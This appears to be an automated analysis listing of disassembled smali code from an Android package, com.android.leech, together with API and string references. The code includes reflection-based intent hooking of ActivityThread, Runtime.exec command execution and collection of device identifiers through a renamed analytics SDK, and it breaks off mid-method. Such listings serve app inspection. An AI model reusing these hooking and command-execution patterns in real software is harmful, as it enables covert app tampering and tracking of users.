                                                                              53goto/16 :goto_15
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredFields
                                                                              • android.content.ContentValues.<init>
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.reflect.Field.getName
                                                                              • android.content.ContentValues.put
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.IllegalAccessException.printStackTrace
                                                                              • java.lang.Exception.printStackTrace
                                                                              • android.database.sqlite.SQLiteDatabase.insert
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "tableName" # Ljava/lang/String;
                                                                              1.param p2, "object" # Ljava/lang/Object;
                                                                              2.prologue
                                                                              3const/4 v6, 0x0
                                                                              4try_start_1:
                                                                              5invoke-virtual {p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              6move-result-object v0
                                                                              8invoke-virtual {v0}, Ljava/lang/Class;->getDeclaredFields()[Ljava/lang/reflect/Field;
                                                                              9move-result-object v4
                                                                              10new-instance v5, Landroid/content/ContentValues;
                                                                              12invoke-direct {v5}, Landroid/content/ContentValues;-><init>()V
                                                                              13array-length v7, v4
                                                                              14goto_f: if-ge v6, v7, :cond_35
                                                                              15aget-object v3, v4, v6
                                                                              16try_end_13: const/4 v8, 0x1
                                                                              17try_start_14:
                                                                              18invoke-virtual {v3, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              20invoke-virtual {v3, p2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              21move-result-object v1
                                                                              22check-cast v1, Ljava/lang/String;
                                                                              24invoke-virtual {v3}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                                                                              25move-result-object v8
                                                                              27invoke-virtual {v5, v8, v1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                                                                              28const/4 v8, 0x0
                                                                              30invoke-virtual {v3, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              31try_end_28: add-int/lit8 v6, v6, 0x1
                                                                              32goto/16 :goto_f
                                                                              33catch_2b: move-exception v2
                                                                              34try_start_2c:
                                                                              35invoke-virtual {v2}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                                                                              36try_end_2f: goto/16 :goto_28
                                                                              37catch_30: move-exception v2
                                                                              39invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                                                                              40goto_34: return-void
                                                                              41cond_35:
                                                                              42iget-object v6, p0, Lcom/android/leech/main/ad/mini/database/tool/TableOperate;->db:Landroid/database/sqlite/SQLiteDatabase;
                                                                              43const/4 v7, 0x0
                                                                              45invoke-virtual {v6, p1, v7, v5}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
                                                                              46try_end_3b: goto/16 :goto_34
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.ArrayList.<init>
                                                                              • java.lang.Runtime.getRuntime
                                                                              • uAgent.commonsdk.internal.utils.e$a.b:[Ljava/lang/String
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Process.getOutputStream
                                                                              • java.io.OutputStreamWriter.<init>
                                                                              • java.io.BufferedWriter.<init>
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.util.ArrayList.add
                                                                              Position Instruction Meta Information
                                                                              0new-instance v0, Ljava/util/ArrayList;
                                                                              2invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                                                              3try_start_5:
                                                                              4invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              5move-result-object v1
                                                                              7iget-object v2, p1, LuAgent/commonsdk/internal/utils/e$a;->b:[Ljava/lang/String;
                                                                              9invoke-virtual {v1, v2}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
                                                                              10try_end_e: move-result-object v1
                                                                              11new-instance v2, Ljava/io/BufferedWriter;
                                                                              12new-instance v3, Ljava/io/OutputStreamWriter;
                                                                              14invoke-virtual {v1}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
                                                                              15move-result-object v4
                                                                              17invoke-direct {v3, v4}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;)V
                                                                              19invoke-direct {v2, v3}, Ljava/io/BufferedWriter;-><init>(Ljava/io/Writer;)V
                                                                              20new-instance v2, Ljava/io/BufferedReader;
                                                                              21new-instance v3, Ljava/io/InputStreamReader;
                                                                              23invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              24move-result-object v1
                                                                              26invoke-direct {v3, v1}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              28invoke-direct {v2, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              29try_start_2b:
                                                                              30invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              31move-result-object v1
                                                                              32if-eqz v1, :cond_36
                                                                              34invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                                                              35try_end_34: goto/16 :goto_2b
                                                                              36catch_35: move-exception v1
                                                                              37goto_36: return-object v0
                                                                              38catch_37: move-exception v0
                                                                              39const/4 v0, 0x0
                                                                              40goto/16 :goto_36
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.intValue
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.pm.PackageManager.checkPermission
                                                                              Strings
                                                                              • android.content.Context
                                                                              • checkSelfPermission
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x1
                                                                              1const/4 v2, 0x0
                                                                              2if-nez p0, :cond_5
                                                                              3goto_4: return v2
                                                                              4cond_5: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              5const/16 v3, 0x17
                                                                              6if-lt v0, v3, :cond_3b
                                                                              7try_start_b:
                                                                              8const-string v0, "android.content.Context"
                                                                              10invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              11move-result-object v0
                                                                              13const-string v3, "checkSelfPermission"
                                                                              14const/4 v4, 0x1
                                                                              15new-array v4, v4, [Ljava/lang/Class;
                                                                              16const/4 v5, 0x0
                                                                              17const-class v6, Ljava/lang/String;
                                                                              18aput-object v6, v4, v5
                                                                              20invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              21move-result-object v0
                                                                              22const/4 v3, 0x1
                                                                              23new-array v3, v3, [Ljava/lang/Object;
                                                                              24const/4 v4, 0x0
                                                                              25aput-object p1, v3, v4
                                                                              27invoke-virtual {v0, p0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              28move-result-object v0
                                                                              29check-cast v0, Ljava/lang/Integer;
                                                                              31invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                                                              32try_end_2e: move-result v0
                                                                              33if-nez v0, :cond_34
                                                                              34move v0, v1
                                                                              35goto_32: move v2, v0
                                                                              36goto/16 :goto_4
                                                                              37cond_34: move v0, v2
                                                                              38goto/16 :goto_32
                                                                              39catch_36: move-exception v0
                                                                              41invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              42goto/16 :goto_4
                                                                              43cond_3b:
                                                                              44invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              45move-result-object v0
                                                                              47invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              48move-result-object v3
                                                                              50invoke-virtual {v0, p1, v3}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                                                                              51move-result v0
                                                                              52if-nez v0, :cond_4
                                                                              53move v2, v1
                                                                              54goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getApplicationContext
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • com.umeng.message.MessageSharedPrefs
                                                                              • getInstance
                                                                              • getDeviceToken
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-eqz p0, :cond_49
                                                                              3invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              4move-result-object v0
                                                                              5try_start_7:
                                                                              6const-string v2, "com.umeng.message.MessageSharedPrefs"
                                                                              8invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              9move-result-object v2
                                                                              10if-eqz v2, :cond_47
                                                                              12const-string v3, "getInstance"
                                                                              13const/4 v4, 0x1
                                                                              14new-array v4, v4, [Ljava/lang/Class;
                                                                              15const/4 v5, 0x0
                                                                              16const-class v6, Landroid/content/Context;
                                                                              17aput-object v6, v4, v5
                                                                              19invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              20move-result-object v3
                                                                              21if-eqz v3, :cond_47
                                                                              22const/4 v4, 0x1
                                                                              23new-array v4, v4, [Ljava/lang/Object;
                                                                              24const/4 v5, 0x0
                                                                              25aput-object v0, v4, v5
                                                                              27invoke-virtual {v3, v2, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              28move-result-object v0
                                                                              29if-eqz v0, :cond_47
                                                                              31const-string v3, "getDeviceToken"
                                                                              32const/4 v4, 0x0
                                                                              33new-array v4, v4, [Ljava/lang/Class;
                                                                              35invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              36move-result-object v2
                                                                              37if-eqz v2, :cond_47
                                                                              38const/4 v3, 0x0
                                                                              39new-array v3, v3, [Ljava/lang/Object;
                                                                              41invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              42move-result-object v0
                                                                              43if-eqz v0, :cond_47
                                                                              44instance-of v2, v0, Ljava/lang/String;
                                                                              45if-eqz v2, :cond_47
                                                                              46check-cast v0, Ljava/lang/String;
                                                                              47goto_45: move-object v1, v0
                                                                              48goto_46: return-object v1
                                                                              49cond_47: move-object v0, v1
                                                                              50goto/16 :goto_45
                                                                              51cond_49: move-object v0, v1
                                                                              52goto/16 :goto_45
                                                                              53catch_4b: move-exception v0
                                                                              54goto/16 :goto_46
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Integer.intValue
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.pm.PackageManager.checkPermission
                                                                              Strings
                                                                              • android.content.Context
                                                                              • checkSelfPermission
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x1
                                                                              1const/4 v2, 0x0
                                                                              2if-nez p0, :cond_5
                                                                              3goto_4: return v2
                                                                              4cond_5: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              5const/16 v3, 0x17
                                                                              6if-lt v0, v3, :cond_36
                                                                              7try_start_b:
                                                                              8const-string v0, "android.content.Context"
                                                                              10invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              11move-result-object v0
                                                                              13const-string v3, "checkSelfPermission"
                                                                              14const/4 v4, 0x1
                                                                              15new-array v4, v4, [Ljava/lang/Class;
                                                                              16const/4 v5, 0x0
                                                                              17const-class v6, Ljava/lang/String;
                                                                              18aput-object v6, v4, v5
                                                                              20invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              21move-result-object v0
                                                                              22const/4 v3, 0x1
                                                                              23new-array v3, v3, [Ljava/lang/Object;
                                                                              24const/4 v4, 0x0
                                                                              25aput-object p1, v3, v4
                                                                              27invoke-virtual {v0, p0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              28move-result-object v0
                                                                              29check-cast v0, Ljava/lang/Integer;
                                                                              31invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                                                              32try_end_2e: move-result v0
                                                                              33if-nez v0, :cond_34
                                                                              34move v0, v1
                                                                              35goto_32: move v2, v0
                                                                              36goto/16 :goto_4
                                                                              37cond_34: move v0, v2
                                                                              38goto/16 :goto_32
                                                                              39cond_36:
                                                                              40invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              41move-result-object v0
                                                                              43invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              44move-result-object v3
                                                                              46invoke-virtual {v0, p1, v3}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                                                                              47move-result v0
                                                                              48if-nez v0, :cond_4
                                                                              49move v2, v1
                                                                              50goto/16 :goto_4
                                                                              51catch_46: move-exception v0
                                                                              52goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.getType
                                                                              • android.net.NetworkInfo.getType
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkType
                                                                              • java.lang.Exception.printStackTrace
                                                                              Strings
                                                                              • connectivity
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x0
                                                                              2const/4 v5, 0x1
                                                                              3try_start_2:
                                                                              4sget-object v7, Lcom/android/leech/base/bugly/globle/HGloble;->sContext:Landroid/content/Context;
                                                                              6const-string v8, "connectivity"
                                                                              8invoke-virtual {v7, v8}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              9move-result-object v0
                                                                              10check-cast v0, Landroid/net/ConnectivityManager;
                                                                              12invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              13move-result-object v1
                                                                              14if-nez v1, :cond_13
                                                                              15goto_12: return v5
                                                                              16cond_13:
                                                                              17invoke-virtual {v1}, Landroid/net/NetworkInfo;->getType()I
                                                                              18move-result v7
                                                                              19if-eq v7, v5, :cond_12
                                                                              21invoke-virtual {v1}, Landroid/net/NetworkInfo;->getType()I
                                                                              22move-result v5
                                                                              23if-nez v5, :cond_3e
                                                                              25sget-object v5, Lcom/android/leech/base/bugly/globle/HGloble;->sContext:Landroid/content/Context;
                                                                              27const-string v7, "phone"
                                                                              29invoke-virtual {v5, v7}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              30move-result-object v2
                                                                              31check-cast v2, Landroid/telephony/TelephonyManager;
                                                                              32if-eqz v2, :cond_3e
                                                                              34invoke-virtual {v2}, Landroid/telephony/TelephonyManager;->getNetworkType()I
                                                                              35try_end_2e: move-result v3
                                                                              36packed-switch v3, :pswitch_data_40
                                                                              37move v5, v6
                                                                              38goto/16 :goto_12
                                                                              39pswitch_34: const/4 v5, 0x2
                                                                              40goto/16 :goto_12
                                                                              41pswitch_36: const/4 v5, 0x3
                                                                              42goto/16 :goto_12
                                                                              43pswitch_38: const/4 v5, 0x4
                                                                              44goto/16 :goto_12
                                                                              45catch_3a: move-exception v4
                                                                              47invoke-virtual {v4}, Ljava/lang/Exception;->printStackTrace()V
                                                                              48cond_3e: move v5, v6
                                                                              49goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Process.myPid
                                                                              • android.content.Context.getSystemService
                                                                              • android.app.ActivityManager.getRunningAppProcesses
                                                                              • java.util.List.size
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                                                                              • android.content.Context.getApplicationContext
                                                                              Strings
                                                                              • activity
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1invoke-static {}, Landroid/os/Process;->myPid()I
                                                                              2move-result v1
                                                                              4const-string v0, "activity"
                                                                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/app/ActivityManager;
                                                                              9if-eqz v0, :cond_39
                                                                              11invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                                                              12move-result-object v0
                                                                              13if-eqz v0, :cond_39
                                                                              15invoke-interface {v0}, Ljava/util/List;->size()I
                                                                              16move-result v2
                                                                              17if-lez v2, :cond_39
                                                                              19invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              20move-result-object v2
                                                                              21cond_1e:
                                                                              22invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                                                              23move-result v0
                                                                              24if-eqz v0, :cond_39
                                                                              26invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              27move-result-object v0
                                                                              28check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                                                              29iget v3, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                                                                              30if-ne v3, v1, :cond_1e
                                                                              32iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                                                                              33goto_30: return-object v0
                                                                              34catch_31: move-exception v0
                                                                              36invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              37move-result-object v1
                                                                              39invoke-static {v1, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              40cond_39:
                                                                              41const-string v0, ""
                                                                              42goto/16 :goto_30
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Message.obj:Ljava/lang/Object
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • android.content.Intent.getComponent
                                                                              • android.content.ComponentName.getClassName
                                                                              • java.util.List.contains
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • intent
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "msg" # Landroid/os/Message;
                                                                              1.prologue
                                                                              2sget-boolean v5, Lcom/android/leech/base/hook/proxy/ActivityThreadHandlerCallback;->hook:Z
                                                                              3if-eqz v5, :cond_34
                                                                              5iget-object v2, p1, Landroid/os/Message;->obj:Ljava/lang/Object;
                                                                              6try_start_6:
                                                                              7invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              8move-result-object v5
                                                                              10const-string v6, "intent"
                                                                              12invoke-virtual {v5, v6}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              13move-result-object v1
                                                                              14const/4 v5, 0x1
                                                                              16invoke-virtual {v1, v5}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              18invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              19move-result-object v3
                                                                              20check-cast v3, Landroid/content/Intent;
                                                                              22invoke-virtual {v3}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                                                                              23move-result-object v5
                                                                              25invoke-virtual {v5}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
                                                                              26move-result-object v0
                                                                              28iget-object v5, p0, Lcom/android/leech/base/hook/proxy/ActivityThreadHandlerCallback;->filiterName:Ljava/util/List;
                                                                              30invoke-interface {v5, v0}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
                                                                              31move-result v5
                                                                              32if-eqz v5, :cond_31
                                                                              34sget-object v4, Lcom/android/leech/base/hook/proxy/IActivityManagerHandler;->mSaveIntent:Landroid/content/Intent;
                                                                              35if-eqz v4, :cond_31
                                                                              37invoke-virtual {v1, v2, v4}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              38goto_31: const/4 v5, 0x0
                                                                              39sput-boolean v5, Lcom/android/leech/base/hook/proxy/ActivityThreadHandlerCallback;->hook:Z
                                                                              40cond_34: return-void
                                                                              41catch_35: move-exception v5
                                                                              42goto/16 :goto_31
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • track_list
                                                                              • umtt
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • updateUMTT
                                                                              Position Instruction Meta Information
                                                                              0const/4 v3, 0x0
                                                                              2iget-object v0, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              4invoke-static {v0}, LuAgent/commonsdk/statistics/c;->a(LuAgent/commonsdk/statistics/c;)LuAgent/commonsdk/statistics/noise/ABTest;
                                                                              5move-result-object v0
                                                                              7invoke-virtual {v0, p1}, LuAgent/commonsdk/statistics/noise/ABTest;->onImprintChanged(LuAgent/commonsdk/statistics/idtracking/ImprintHandler$a;)V
                                                                              9iget-object v0, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              11invoke-static {v0}, LuAgent/commonsdk/statistics/c;->b(LuAgent/commonsdk/statistics/c;)LuAgent/commonsdk/statistics/noise/Defcon;
                                                                              12move-result-object v0
                                                                              14invoke-virtual {v0, p1}, LuAgent/commonsdk/statistics/noise/Defcon;->onImprintChanged(LuAgent/commonsdk/statistics/idtracking/ImprintHandler$a;)V
                                                                              16iget-object v0, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              18invoke-static {v0}, LuAgent/commonsdk/statistics/c;->c(LuAgent/commonsdk/statistics/c;)LuAgent/commonsdk/statistics/noise/ImLatent;
                                                                              19move-result-object v0
                                                                              21invoke-virtual {v0, p1}, LuAgent/commonsdk/statistics/noise/ImLatent;->onImprintChanged(LuAgent/commonsdk/statistics/idtracking/ImprintHandler$a;)V
                                                                              23iget-object v0, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              25iget-object v1, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              27invoke-static {v1}, LuAgent/commonsdk/statistics/c;->d(LuAgent/commonsdk/statistics/c;)Landroid/content/Context;
                                                                              28move-result-object v1
                                                                              30const-string v2, "track_list"
                                                                              32invoke-static {v1, v2, v3}, LuAgent/commonsdk/framework/UMEnvelopeBuild;->imprintProperty(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              33move-result-object v1
                                                                              34iput-object v1, v0, LuAgent/commonsdk/statistics/c;->a:Ljava/lang/String;
                                                                              35try_start_2c:
                                                                              36iget-object v0, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              38invoke-static {v0}, LuAgent/commonsdk/statistics/c;->d(LuAgent/commonsdk/statistics/c;)Landroid/content/Context;
                                                                              39move-result-object v0
                                                                              41const-string v1, "umtt"
                                                                              42const/4 v2, 0x0
                                                                              44invoke-static {v0, v1, v2}, LuAgent/commonsdk/framework/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              45move-result-object v0
                                                                              47invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              48try_end_3c: move-result v1
                                                                              49if-nez v1, :cond_6c
                                                                              50try_start_3f:
                                                                              51const-string v1, "com.umeng.commonsdk.internal.utils.SDStorageAgent"
                                                                              53invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              54move-result-object v1
                                                                              55if-eqz v1, :cond_6c
                                                                              57const-string v2, "updateUMTT"
                                                                              58const/4 v3, 0x2
                                                                              59new-array v3, v3, [Ljava/lang/Class;
                                                                              60const/4 v4, 0x0
                                                                              61const-class v5, Landroid/content/Context;
                                                                              62aput-object v5, v3, v4
                                                                              63const/4 v4, 0x1
                                                                              64const-class v5, Ljava/lang/String;
                                                                              65aput-object v5, v3, v4
                                                                              67invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              68move-result-object v2
                                                                              69const/4 v3, 0x2
                                                                              70new-array v3, v3, [Ljava/lang/Object;
                                                                              71const/4 v4, 0x0
                                                                              73iget-object v5, p0, LuAgent/commonsdk/statistics/c$1;->a:LuAgent/commonsdk/statistics/c;
                                                                              75invoke-static {v5}, LuAgent/commonsdk/statistics/c;->d(LuAgent/commonsdk/statistics/c;)Landroid/content/Context;
                                                                              76move-result-object v5
                                                                              77aput-object v5, v3, v4
                                                                              78const/4 v4, 0x1
                                                                              79aput-object v0, v3, v4
                                                                              81invoke-virtual {v2, v1, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              82goto_6c: return-void
                                                                              83catch_6d: move-exception v0
                                                                              84goto/16 :goto_6c
                                                                              85catch_6f: move-exception v0
                                                                              86goto/16 :goto_6c
                                                                              87catch_71: move-exception v0
                                                                              88goto/16 :goto_6c
                                                                              APIs
                                                                              • android.content.Context.getClassLoader
                                                                              • java.lang.ClassLoader.loadClass
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.String.<init>
                                                                              • java.lang.String.<init>
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • android.os.SystemProperties
                                                                              • get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "key" # Ljava/lang/String;
                                                                              2.param p2, "def" # Ljava/lang/String;
                                                                              3.prologue
                                                                              4move-object v7, p2
                                                                              5try_start_1:
                                                                              6invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              7move-result-object v2
                                                                              9const-string v8, "android.os.SystemProperties"
                                                                              11invoke-virtual {v2, v8}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                                                                              12move-result-object v1
                                                                              13const/4 v8, 0x2
                                                                              14new-array v5, v8, [Ljava/lang/Class;
                                                                              15const/4 v8, 0x0
                                                                              16const-class v9, Ljava/lang/String;
                                                                              17aput-object v9, v5, v8
                                                                              18const/4 v8, 0x1
                                                                              19const-class v9, Ljava/lang/String;
                                                                              20aput-object v9, v5, v8
                                                                              22const-string v8, "get"
                                                                              24invoke-virtual {v1, v8, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              25move-result-object v4
                                                                              26const/4 v8, 0x2
                                                                              27new-array v6, v8, [Ljava/lang/Object;
                                                                              28const/4 v8, 0x0
                                                                              29new-instance v9, Ljava/lang/String;
                                                                              31invoke-direct {v9, p1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              32aput-object v9, v6, v8
                                                                              33const/4 v8, 0x1
                                                                              34new-instance v9, Ljava/lang/String;
                                                                              36invoke-direct {v9, p2}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              37aput-object v9, v6, v8
                                                                              39invoke-virtual {v4, v1, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              40move-result-object v8
                                                                              41move-object v0, v8
                                                                              42check-cast v0, Ljava/lang/String;
                                                                              43move-object v7, v0
                                                                              44try_end_39: return-object v7
                                                                              45catch_3a: move-exception v3
                                                                              46move-object v7, p2
                                                                              47goto/16 :goto_39
                                                                              48catch_3d: move-exception v8
                                                                              49goto/16 :goto_39
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • NAME
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "ext" # Lcom/android/leech/patch/apksigner/sun/security/x509/Extension;
                                                                              1.param p2, "why" # Ljava/lang/Throwable;
                                                                              2.prologue
                                                                              4invoke-direct {p0, p1}, Lcom/android/leech/patch/apksigner/sun/security/x509/Extension;-><init>(Lcom/android/leech/patch/apksigner/sun/security/x509/Extension;)V
                                                                              6const-string v2, ""
                                                                              7iput-object v2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/UnparseableExtension;->name:Ljava/lang/String;
                                                                              8try_start_7:
